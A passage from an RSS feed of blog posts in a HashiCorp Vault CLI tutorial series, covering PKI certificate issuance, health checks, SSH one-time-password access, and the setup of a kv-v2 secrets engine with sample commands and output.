&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable &lt;/span&gt;pki

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault write &lt;span class="nt"&gt;-field&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;certificate pki/root/generate/internal &lt;span class="nv"&gt;common_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;admantium.com &lt;span class="nv"&gt;exported&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;internal &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; root_ca.cer

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault write pki/config/urls &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;issuing_certificates&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$VAULT_ADDR&lt;/span&gt;&lt;span class="s2"&gt;/v1/pki/ca"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nv"&gt;crl_distribution_points&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="nv"&gt;$VAULT_ADDR&lt;/span&gt;&lt;span class="s2"&gt;/v1/pki/crl"&lt;/span&gt;

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;pki_intermediate pki
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault pki health-check&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;With this command, a complete introspection to all endpoints of the PKI engine is provided. Its output checks aspects such as certificate validity, configuration for the external ACME issuer service, and more.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault pki health-check pki/

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
ca_validity_period
&lt;span class="nt"&gt;------------------&lt;/span&gt;
status      endpoint                                            message
&lt;span class="nt"&gt;------&lt;/span&gt;      &lt;span class="nt"&gt;--------&lt;/span&gt;                                            &lt;span class="nt"&gt;-------&lt;/span&gt;
critical    /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce    Issuer&lt;span class="s1"&gt;'s validity is outside of the suggested rotation window: issuer is valid until 2026-01-25 but expires within 6mo (ending on 2026-06-22). It is suggested to start rotating this issuer to new key material to avoid future downtime caused by this current issuer expiring.


crl_validity_period
-------------------
status    endpoint                                                      message
------    --------                                                      -------
ok        /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce/crl          CRL'&lt;/span&gt;s validity &lt;span class="o"&gt;(&lt;/span&gt;2025-12-24 to 2025-12-27&lt;span class="o"&gt;)&lt;/span&gt; is OK.
ok        /pki/issuer/1cc848d5-b781-d4d3-2ab7-893d5e31f3ce/crl/delta    Delta CRL&lt;span class="s1"&gt;'s validity (2025-12-24 to 2025-12-27) is OK.


root_issued_leaves
------------------
status    endpoint      message
------    --------      -------
ok        /pki/certs    Root certificate(s) in this mount have not directly issued non-CA leaf certificates.


role_allows_localhost
---------------------
status    endpoint    message
------    --------    -------


role_allows_glob_wildcards
--------------------------
status    endpoint    message
------    --------    -------


role_no_store_false
-------------------
status    endpoint    message
------    --------    -------


audit_visibility
----------------
status           endpoint                message
------           --------                -------
informational    /sys/mounts/pki/tune    Mount currently HMACs csr because it is not in audit_non_hmac_request_keys; as this is not a sensitive security parameter, it is encouraged to disable HMACing to allow better auditing of the PKI engine.


allow_if_modified_since
-----------------------
status           endpoint                message
------           --------                -------
informational    /sys/mounts/pki/tune    Mount hasn'&lt;/span&gt;t enabled If-Modified-Since Request or Last-Modified Response headers&lt;span class="p"&gt;;&lt;/span&gt; consider enabling these headers to allow clients to fetch CAs and CRLs only when they&lt;span class="s1"&gt;'ve changed, reducing total bandwidth.


enable_auto_tidy
----------------
status           endpoint                 message
------           --------                 -------
informational    /pki/config/auto-tidy    Auto-tidy is currently disabled; consider enabling auto-tidy to execute tidy operations periodically. This helps the health and performance of a mount.


tidy_last_run
-------------
status      endpoint            message
------      --------            -------
critical    /pki/tidy-status    Tidy hasn'&lt;/span&gt;t run since this mount was created&lt;span class="p"&gt;;&lt;/span&gt; this can point to problems with the mount&lt;span class="s1"&gt;'s auto-tidy configuration or an external tidy executor; this can impact PKI'&lt;/span&gt;s and Vault&lt;span class="s1"&gt;'s performance if not run regularly. It is suggested to enable auto-tidy on this mount.


too_many_certs
--------------
status    endpoint      message
------    --------      -------
ok        /pki/certs    This mount has an OK number of stored certificates.


enable_acme_issuance
--------------------
status            endpoint            message
------            --------            -------
not_applicable    /pki/config/acme    Mount contains only root issuers, ACME is not required.


allow_acme_headers
------------------
status            endpoint            message
------            --------            -------
not_applicable    /pki/config/acme    ACME is not enabled, no additional response headers required.

vault write -field=certificate pki/root/generate/internal \
     common_name="example.com" \
     issuer_name="Admantium_Root_CA" &amp;gt; root_2023_ca.crt
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault pki issue&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;To create an intermediate certificate, the &lt;code&gt;issue&lt;/code&gt; subcommands requires the paths to the PKI engine that provides the root CA, the path to the PKI engine that creates the intermediate certificate, and flags for the issuer name and the common name of the new certificate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault pki issue &lt;span class="nt"&gt;-issuer_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Admantium_Root_CA"&lt;/span&gt; /pki/issuer/default /pki_intermediate/ &lt;span class="nv"&gt;common_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"blog.adamantium.com"&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                               Value
&lt;span class="nt"&gt;---&lt;/span&gt;                               &lt;span class="nt"&gt;-----&lt;/span&gt;
ca_chain                          &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;-----BEGIN&lt;/span&gt; CERTIFICATE-----
MIIDRzCCAi+gAwIBAgIUX8qna7garPJWG7jWuW+Bp5MUPPAwDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAxMLZXhhbXBsZS5jb20wHhcNMjUxMjI0MDk1NzMwWhcNMjYw
...
&lt;span class="nt"&gt;-----END&lt;/span&gt; CERTIFICATE-----

crl_distribution_points           &lt;span class="o"&gt;[]&lt;/span&gt;
delta_crl_distribution_points     &lt;span class="o"&gt;[]&lt;/span&gt;
enable_aia_url_templating         &lt;span class="nb"&gt;false
&lt;/span&gt;issuer_id                         9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d
issuer_name                       Admantium_Root_CA
issuing_certificates              &lt;span class="o"&gt;[]&lt;/span&gt;
key_id                            ce6a7bda-4a62-5f40-1d67-feff574e3629
leaf_not_after_behavior           err
manual_chain                      &amp;lt;nil&amp;gt;
ocsp_servers                      &lt;span class="o"&gt;[]&lt;/span&gt;
revocation_signature_algorithm    n/a
revoked                           &lt;span class="nb"&gt;false
&lt;/span&gt;usage                             crl-signing,issuing-certificates,ocsp-signing,read-only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault pki reissue&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;A configured intermediate certificate issuer can be used as a template for another provider, where some attributes are modified. This is the goal of the &lt;code&gt;reissue&lt;/code&gt; command, and it requires the three PKI engine endpoints for the root CA, the intermediate the serves as the template, and the new issuer endpoint.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault pki reissue &lt;span class="nt"&gt;-issuer_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Admantium_Root_CA"&lt;/span&gt; /pki/issuer/default /pki_intermediate/issuer/Admantium_Root_CA /pki_intermediate_2/ &lt;span class="nv"&gt;common_name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"blog2.admantium.com"&lt;/span&gt;

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Key                               Value
&lt;span class="nt"&gt;---&lt;/span&gt;                               &lt;span class="nt"&gt;-----&lt;/span&gt;
ca_chain                          &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nt"&gt;-----BEGIN&lt;/span&gt; CERTIFICATE-----
MIIDXDCCAkSgAwIBAgIUEHX6GOJK+GirdUbIhxupfimJhCswDQYJKoZIhvcNAQEL
BQAwFjEUMBIGA1UEAxMLZXhhbXBsZS5jb20wHhcNMjUxMjI0MTAxNzA2WhcNMjYw
...
&lt;span class="nt"&gt;-----END&lt;/span&gt; CERTIFICATE-----

crl_distribution_points           &lt;span class="o"&gt;[]&lt;/span&gt;
delta_crl_distribution_points     &lt;span class="o"&gt;[]&lt;/span&gt;
enable_aia_url_templating         &lt;span class="nb"&gt;false
&lt;/span&gt;issuer_id                         a4d92cfc-b71f-6492-47b2-5f0afb90bc8b
issuer_name                       Admantium_Root_CA
issuing_certificates              &lt;span class="o"&gt;[]&lt;/span&gt;
key_id                            9b629040-5903-cf8a-e0bd-9ade319b8099
leaf_not_after_behavior           err
manual_chain                      &amp;lt;nil&amp;gt;
ocsp_servers                      &lt;span class="o"&gt;[]&lt;/span&gt;
revocation_signature_algorithm    n/a
revoked                           &lt;span class="nb"&gt;false
&lt;/span&gt;usage                             crl-signing,issuing-certificates,ocsp-signing,read-only
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault pki list-intermediate&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;When the hierarchies of root to intermediate certificate becomes complex, this command can help to gain an overview. It requires the complete path to any certificate issuer, and lists all derived certificates.&lt;/p&gt;

&lt;p&gt;As an example, when called on the root CA, it lists all so-far created certificates:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault pki list-intermediates /pki/issuer/default

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
intermediate                                                      match?
&lt;span class="nt"&gt;------------&lt;/span&gt;                                                      &lt;span class="nt"&gt;------&lt;/span&gt;
pki_intermediate_2/issuer/b177e38f-8e3f-85c3-fed7-15e806d29010    &lt;span class="nb"&gt;true
&lt;/span&gt;pki_intermediate_2/issuer/d8873760-fe81-2062-8db8-9d03a0f16634    &lt;span class="nb"&gt;true
&lt;/span&gt;pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5                   &lt;span class="nb"&gt;true
&lt;/span&gt;pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c      &lt;span class="nb"&gt;true
&lt;/span&gt;pki_intermediate/issuer/9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d      &lt;span class="nb"&gt;true
&lt;/span&gt;pki_intermediate_2/issuer/a4d92cfc-b71f-6492-47b2-5f0afb90bc8b    &lt;span class="nb"&gt;true

&lt;/span&gt;intermediate                                                    match?
&lt;span class="nt"&gt;------------&lt;/span&gt;                                                    &lt;span class="nt"&gt;------&lt;/span&gt;
pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c    &lt;span class="nb"&gt;true
&lt;/span&gt;pki_intermediate/issuer/9ea4aa8d-e69b-bb33-55cd-8a732dbe1d9d    &lt;span class="nb"&gt;true
&lt;/span&gt;pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5                 &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault pki verify-sign&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;This command checks if the first given issuer was used to sign the second provided intermediate certificate.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault pki verify-sign pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5 pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
issuer:pki/issuer/0d365720-0d53-79a2-de95-f56fa434a0d5
issued:pki_intermediate/issuer/30bfd385-34d5-7d30-6400-82381469c21c

field              value
&lt;span class="nt"&gt;-----&lt;/span&gt;              &lt;span class="nt"&gt;-----&lt;/span&gt;
trust_match        &lt;span class="nb"&gt;true
&lt;/span&gt;key_id_match       &lt;span class="nb"&gt;true
&lt;/span&gt;signature_match    &lt;span class="nb"&gt;true
&lt;/span&gt;subject_match      &lt;span class="nb"&gt;true
&lt;/span&gt;path_match         &lt;span class="nb"&gt;true&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Encryption Key Usage
&lt;/h2&gt;

&lt;p&gt;The ssh secret engine allows connection to a remote machine based on signed SSH keys or one-time passwords. This allows users and systems to gain access to remote systems with ephemeral secrets, greatly improving security.&lt;/p&gt;

&lt;p&gt;To create the context for this section's example, run the following commands:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault &lt;span class="nb"&gt;enable &lt;/span&gt;secret ssh

&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault write ssh/roles/otp &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;key_type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;otp &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;default_user&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;admin &lt;span class="se"&gt;\&lt;/span&gt;
    &lt;span class="nv"&gt;cidr_list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;192.168.1.0/26
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  &lt;code&gt;vault ssh&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;vault ssh&lt;/code&gt; command establishes a connection to any remote host by one of these options. To establish a SSH connection to a remote host, the command needs to be called with a defined role, a mode, and a connection string:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault ssh &lt;span class="nt"&gt;-role&lt;/span&gt; otp &lt;span class="nt"&gt;-mode&lt;/span&gt; otp admin@192.168.1.42

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
Vault could not locate &lt;span class="s2"&gt;"sshpass"&lt;/span&gt;&lt;span class="nb"&gt;.&lt;/span&gt; The OTP code &lt;span class="k"&gt;for &lt;/span&gt;the session is displayed
below. Enter this code &lt;span class="k"&gt;in &lt;/span&gt;the SSH password prompt. If you &lt;span class="nb"&gt;install &lt;/span&gt;sshpass,
Vault can automatically perform this step &lt;span class="k"&gt;for &lt;/span&gt;you.
OTP &lt;span class="k"&gt;for &lt;/span&gt;the session is: 99a09001-cfb6-2b4a-b422-fb9adb306125
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;The Vault CLI offers more than 30 subcommands. In a continuous blog article series, all commands were systematically explored and explained. In this final article, commands for handling encryption keys were covered. You learned how to a) import self-managed keys to the &lt;code&gt;transit&lt;/code&gt; engine, b) use &lt;code&gt;unwrap&lt;/code&gt; to decrypt data, c) utilize &lt;code&gt;pki&lt;/code&gt; to issue root and intermediate certificates on demand, and d) establish &lt;code&gt;ssh&lt;/code&gt; connections to remote hosts using ephemeral secrets.&lt;/p&gt;

</description>
      <category>hashicorp</category>
      <category>vault</category>
      <category>hashicorpvault</category>
    </item>
    <item>
      <title>Hashicorp Vault CLI Part 8: Secrets Management and Key-Value Engine</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 26 Mar 2026 06:08:55 +0000</pubDate>
      <link>https://dev.to/admantium/hashicorp-vault-cli-part-8-secrets-management-and-key-value-engine-153g</link>
      <guid>https://dev.to/admantium/hashicorp-vault-cli-part-8-secrets-management-and-key-value-engine-153g</guid>
      <description>&lt;p&gt;Hashicorp Vault is a tool for managing secrets and encrypted data. Upon successful authentication, a policy-based system authorizes access to Vault endpoints. All configuration aspects, as well as available functional featured, can be managed via its CLI.&lt;/p&gt;

&lt;p&gt;In an ongoing series, all CLI commands are explored systematically. The focus of this article are commands from the secret’s management group. Specifically, the management if secret engines themselves, and commands for working with encrypted data.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context of this article is &lt;code&gt;hashicorp_vault_v1.21.1&lt;/code&gt;, released 2025-11-18. All provided information and command examples should be valid with newer versions too, baring an update of the CLI commands' syntax&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The background material for this article stems from the official Hashicorp Vault documentation about &lt;a href="https://developer.hashicorp.com/vault/docs/commands" rel="noopener noreferrer"&gt;Vault CLI&lt;/a&gt; and subsequent pages, as well as information from the binary itself&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/vault17_cli_p8_secrets_management_encrypted_data.md/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vault CLI Overview
&lt;/h2&gt;

&lt;p&gt;The Vault CLI provides more than 30 commands. For systematically explaining and contextualizing each command, they can be structured as follows.&lt;/p&gt;

&lt;p&gt;Groups marked with a checkmark were covered in an earlier article, and the commands marked with an at sign are the focus for this article.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ Initialization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;server&lt;/code&gt;: Starts a server process&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;agent&lt;/code&gt;: Starts an agent process, a utility to communicate with a vault server to gain access to tokens&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;proxy&lt;/code&gt;: Starts a vault proxy process&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Configuration

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;operator&lt;/code&gt;: Cluster management operations, including memberships, encryption and unseal keys&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plugin&lt;/code&gt;: Manage and install additional plugins&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;read&lt;/code&gt; / &lt;code&gt;list&lt;/code&gt;: Access stored configuration and secrets&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;write&lt;/code&gt; / &lt;code&gt;patch&lt;/code&gt;: Modify or create any data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;delete&lt;/code&gt;: Delete configuration data or secrets&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Introspection

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;status&lt;/code&gt;: Show status information of the vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version&lt;/code&gt;: Shows compact version information and build timestamp&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version-history&lt;/code&gt;: Shows detailed version information about all previously used vault server instances&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;print&lt;/code&gt;: Detailed view of the vault’s server runtime configuration&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path-help&lt;/code&gt;: Detailed documentation about API endpoints&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;events&lt;/code&gt;: Subscribe to the event stream of a running vault instance&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;monitor&lt;/code&gt;: Print vault log messages&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;debug&lt;/code&gt;: Shows debug information of the connected Vault server&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;audit&lt;/code&gt;: Interact with connected audit devices&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Vault Enterprise

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;hcp&lt;/code&gt;: Operate a managed Hashicorp Vault cluster&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;namespace&lt;/code&gt;: Interact with configured namespaces of the cluster&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Authorization

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;policy&lt;/code&gt;: Manage policy definitions that govern all vault operations&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;tokens&lt;/code&gt;: General token management&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;lease&lt;/code&gt;: Manage current token leases, including renewal, revocation and TTL modification&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;✅ Authentication

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;auth&lt;/code&gt;: Interact with configured authentication options&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;login&lt;/code&gt;: Authenticates access to a Vault server&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;Secrets Management

&lt;ul&gt;
&lt;li&gt;🌀 &lt;code&gt;secrets&lt;/code&gt;: General configuration of secret engines&lt;/li&gt;
&lt;li&gt;🌀 &lt;code&gt;kv&lt;/code&gt;: Access to the essential key-value store&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;transform&lt;/code&gt;: Interact with the transform secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;transit&lt;/code&gt;: Interact with the Vaults transit secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;unwrap&lt;/code&gt;: One-time access to arbitrary encrypted data&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;pki&lt;/code&gt;: Access the private key infrastructure secrets engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;ssh&lt;/code&gt;: Initiates SSH sessions via the SSH secrets engine&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h2&gt;
  
  
  Secret Engine Management
&lt;/h2&gt;

&lt;p&gt;Secrets engines manage different types of encrypted data. They can be grouped into native, applications and services, cloud provider, and encryption keys. For a detailed explanation, see my earlier article about &lt;a href="https://admantium.com/blog/vault05_secret_management_engines/" rel="noopener noreferrer"&gt;Secret Management Engines&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The &lt;code&gt;secret&lt;/code&gt; command governs the complete life-cycle of an engine, from activation to re-configuration and dismantling. In the following sections, a kv-v2 engine will be regarded.&lt;/p&gt;

&lt;h3&gt;
  
  
  &lt;code&gt;kv secrets enable&lt;/code&gt;
&lt;/h3&gt;

&lt;p&gt;Every engine needs to be activated at first. A minimalist invocation of the &lt;code&gt;enable&lt;/code&gt; command&lt;br&gt;
 with just the secret engine name applies its default configuration including the mount path. Alternatively, all exposed configuration options can be passed as flags to customize the engine right from the start.&lt;/p&gt;

&lt;p&gt;To activate a kv-v2 engine with default properties:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable &lt;/span&gt;kv-v2

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-19T09:01:22.459+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: successful mount: &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv-v2/ &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"v0.25.0+builtin"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Custom configurations can be applied during setup. The list of options is long, and support varies by engine. Available are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;default-lease-ttl=&amp;lt;duration&amp;gt;&lt;/code&gt;: The TTL value for all leases issued by the engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;description=&amp;lt;string&amp;gt;&lt;/code&gt;: Additional documentation for this secret engine, intended for users&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;external-entropy-access=&amp;lt;bool&amp;gt;&lt;/code&gt;: Allow this engine to access external entropy sources&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;force-no-cache=&amp;lt;bool&amp;gt;&lt;/code&gt;: Configure the caching behavior of the engine&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;listing-visibility=&amp;lt;string&amp;gt;&lt;/code&gt;: Controls if the engine should be visible to authenticated unauthenticated users. Allowed values are &lt;code&gt;hidden&lt;/code&gt; and &lt;code&gt;unauth&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;local=&amp;lt;bool&amp;gt;&lt;/code&gt;: Secret engines configuration and values are normally replicated in the context of running Vault as a cluster. This option can disable this behavior.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;max-lease-ttl=&amp;lt;duration&amp;gt;&lt;/code&gt;: The maximum TTL of issues leases. If this time passes, the lease can not be renewed again.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;options=&amp;lt;key=value&amp;gt;&lt;/code&gt;: Additional generic options passed to the engine.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;path=&amp;lt;string&amp;gt;&lt;/code&gt;: The mount path of the engine. Needs to be unique.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plugin-name=&amp;lt;string&amp;gt;&lt;/code&gt;: Vaults plugin nature allows developers to implement custom engine. This configuration option sets the correct plugin to use.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;plugin-version=&amp;lt;string&amp;gt;&lt;/code&gt;: Set the plugins version to use.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;seal-wrap&lt;/code&gt;: All secrets are encrypted with Vault-internal keys. This option allows to use additional keys for storing and reading secret data.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;version=&amp;lt;int&amp;gt;&lt;/code&gt;: The version of the secret engine.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Here is an example to create the kv-v2 engine with specific options.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt; vault secrets &lt;span class="nb"&gt;enable&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"datacenter secrets"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-external-entropy-access&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-listing-visibility&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;hidden &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-force-no-cache&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt; &lt;span class="nt"&gt;-path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2 &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-default-lease-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;5m &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-max-lease-ttl&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1h &lt;span class="se"&gt;\&lt;/span&gt;
  kv-v2

&lt;span class="c"&gt;# Log messages&lt;/span&gt;
2025-12-19T09:52:44.260+0100 &lt;span class="o"&gt;[&lt;/span&gt;INFO]  core: successful mount: &lt;span class="nv"&gt;namespace&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt; &lt;span class="nv"&gt;path&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv2/ &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;kv &lt;span class="nv"&gt;version&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"v0.25.0+builtin"&lt;/span&gt;
